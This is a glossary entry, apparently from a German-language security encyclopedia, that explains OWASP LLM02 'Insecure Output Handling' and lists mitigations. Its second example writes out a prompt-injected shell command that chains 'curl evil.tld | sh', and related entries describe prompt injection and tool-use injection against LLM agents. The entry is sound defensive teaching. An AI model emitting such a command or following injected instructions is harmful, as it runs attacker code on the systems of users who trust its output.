Insecure Output Handling
Was ist Insecure Output Handling?
Insecure Output HandlingOWASP LLM02 — passing LLM-generated output directly into downstream systems (browsers, shells, SQL, code execution) without validation, turning a hallucination or prompt injection into XSS, RCE, or SSRF.
Insecure Output Handling is item LLM02 in the OWASP Top 10 for LLM Applications. It captures a deceptively simple mistake: treating model output as trusted text. When an application renders LLM responses in HTML, evaluates them as JavaScript, concatenates them into shell commands, executes them as code, or stuffs them into SQL, an attacker who can influence the prompt (directly or indirectly via retrieved content) controls whatever downstream sink consumes that output. The model becomes a confused-deputy that crosses trust boundaries on behalf of the attacker. Mitigations are conventional appsec hygiene applied to the LLM's egress: escape, sanitize, or template all output before HTML rendering; refuse to execute model-generated code outside a sandbox; validate structured outputs (e.g. JSON Schema, function-call argument types) before dispatch; require explicit allowlists for tools that take string arguments; and treat the LLM as an untrusted parser of intent, not a trusted producer of code.
● Beispiele
- 01
A markdown chatbot renders model output as HTML; an injection causes it to emit a malicious script tag that fires for every viewer.
- 02
An assistant returns a shell command that the app pipes into bash; a prompt injection turns 'list files' into 'list files; curl evil.tld | sh'.
● Häufige Fragen
Was ist Insecure Output Handling?
OWASP LLM02 — passing LLM-generated output directly into downstream systems (browsers, shells, SQL, code execution) without validation, turning a hallucination or prompt injection into XSS, RCE, or SSRF. Es gehört zur Kategorie KI- und ML-Sicherheit der Cybersicherheit.
Was bedeutet Insecure Output Handling?
OWASP LLM02 — passing LLM-generated output directly into downstream systems (browsers, shells, SQL, code execution) without validation, turning a hallucination or prompt injection into XSS, RCE, or SSRF.
Wie funktioniert Insecure Output Handling?
Insecure Output Handling is item LLM02 in the OWASP Top 10 for LLM Applications. It captures a deceptively simple mistake: treating model output as trusted text. When an application renders LLM responses in HTML, evaluates them as JavaScript, concatenates them into shell commands, executes them as code, or stuffs them into SQL, an attacker who can influence the prompt (directly or indirectly via retrieved content) controls whatever downstream sink consumes that output. The model becomes a confused-deputy that crosses trust boundaries on behalf of the attacker. Mitigations are conventional appsec hygiene applied to the LLM's egress: escape, sanitize, or template all output before HTML rendering; refuse to execute model-generated code outside a sandbox; validate structured outputs (e.g. JSON Schema, function-call argument types) before dispatch; require explicit allowlists for tools that take string arguments; and treat the LLM as an untrusted parser of intent, not a trusted producer of code.
Wie schützt man sich gegen Insecure Output Handling?
Schutzmaßnahmen gegen Insecure Output Handling kombinieren typischerweise technische Kontrollen und operative Praktiken, wie in der Definition oben beschrieben.
Welche anderen Bezeichnungen gibt es für Insecure Output Handling?
Übliche alternative Bezeichnungen: LLM02, Unsanitized LLM output.
● Verwandte Begriffe
- ai-security№ 870
OWASP LLM Top 10
Von OWASP gepflegte Liste der zehn kritischsten Sicherheitsrisiken für Anwendungen, die auf großen Sprachmodellen aufbauen.
- ai-security№ 969
Prompt Injection
Angriff, der die ursprünglichen Anweisungen eines LLM überschreibt, indem adversarieller Text in den Prompt eingeschleust wird, sodass das Modell Schutzmaßnahmen ignoriert oder vom Angreifer gewünschte Aktionen ausführt.
- ai-security№ 586
Indirekte Prompt Injection
Variante der Prompt Injection, bei der bösartige Anweisungen in Drittinhalten (Webseiten, Dokumenten, E-Mails) versteckt sind, die ein LLM später über Retrieval, Browsing oder Tools aufnimmt.
- attacks№ 265
Cross-Site-Scripting (XSS)
Web-Schwachstelle, mit der Angreifer bösartige Skripte in Seiten injizieren, die andere Nutzer öffnen, sodass der Code im Browser des Opfers unter der Origin der Seite ausgeführt wird.
- attacks№ 224
Command Injection
Angriff, bei dem Benutzereingaben ungefiltert an eine Betriebssystem-Shell übergeben werden und die Anwendung dadurch vom Angreifer gelieferte Befehle ausführt.
- ai-security№ 1285
Tool-Use Injection
Attacks that manipulate an LLM agent's tool-calling layer — forging tool arguments, smuggling instructions through tool outputs, or coaxing the model into calling unsanctioned tools.